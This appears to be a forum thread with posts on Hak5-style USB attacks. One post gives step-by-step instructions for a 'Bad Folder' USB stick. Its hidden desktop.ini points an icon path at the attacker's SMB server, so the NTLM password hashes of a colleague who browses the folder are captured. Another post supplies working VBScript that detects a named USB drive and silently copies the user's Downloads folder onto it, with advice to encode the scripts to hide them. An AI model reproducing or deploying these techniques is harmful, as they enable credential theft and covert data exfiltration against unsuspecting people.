Bytewolf

Just a quick not on that. This method works also on folders which are on a networkshare. I would call it "Bad Folder" now.

After watching the recent episode of Hak5 (2102) on Youtube, I was wondering if this smb hash grab method can be done without the duck and with a normal USB stick. The answer is YES. Bytewolf @kingbytewolf -= HowTo do it =- Grab any USB-Stick you have laying around Create a Directory Set the System attribute of this directory with attrib +s <dirname> Create a file called desktop.ini in this directory with the following content [.ShellClassInfo] IconResource=\\<YourIP>\tmp\demo.ico IconFile=%SystemRoot%\system32\shell32.dll IconIndex=-235 Save the desktop.ini as Unicode or UTF-8 file Set the attributes archive, hidden and system with attrib +a +h +s desktop.ini Preparation -> Done Put some RFCs in the directory. Fire up the smbserver and give the Stick to your colleague that really needs these RFCs. >:-D When he navigates to the drive you should have the hash delivered to your doorstep without any windows popping up.

If you also want to hide the duckywait, you can put its functionality inside of a vbs as well. Ducky.vbs Set Shell = CreateObject( "WScript.Shell" ) Set fso = CreateObject("Scripting.FileSystemObject") Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") Set colME = oWMI.ExecNotificationQuery("Select * from Win32_VolumeChangeEvent") ' Name of the Volume we are after strVolumeName = "BACKUPDISK" ' Watch for new Drives Do Set oLE = colME.NextEvent If oLE.EventType = 2 Then ' New Drive arrived Set d = fso.GetDrive(oLE.DriveName) If d.VolumeName = strVolumeName Then Shell.Run oLE.DriveName & "\backup.vbs" End If End If Loop Backup.vbs on the USB-Drive ' This Script must be on the USB-Drive in the root directory Set Shell = CreateObject( "WScript.Shell" ) Set fso = CreateObject("Scripting.FileSystemObject") ' Get the Userprofiledirectory & Computername strUP = Shell.ExpandEnvironmentStrings( "%USERPROFILE%" ) strCN = Shell.ExpandEnvironmentStrings( "%COMPUTERNAME%" ) strDRV = fso.GetDriveName(WScript.ScriptFullName) ' Create a subfolder on the USB-Drive if it doesn't exist If Not(fso.FolderExists (strDRV & "\Backup\" & strCN)) Then fso.CreateFolder strDRV & "\Backup\" & strCN End If ' Backup the Data (Overwrite existing files) fso.CopyFolder strUP & "\Downloads", strDRV & "\Backup\" & strCN & "\", vbTrue You can also encrypt vbs files to vbe. They will run just fine. http://www.ehow.com/how_8783926_convert-vbs-vbe.html

nice, i love the beginning of Alice :)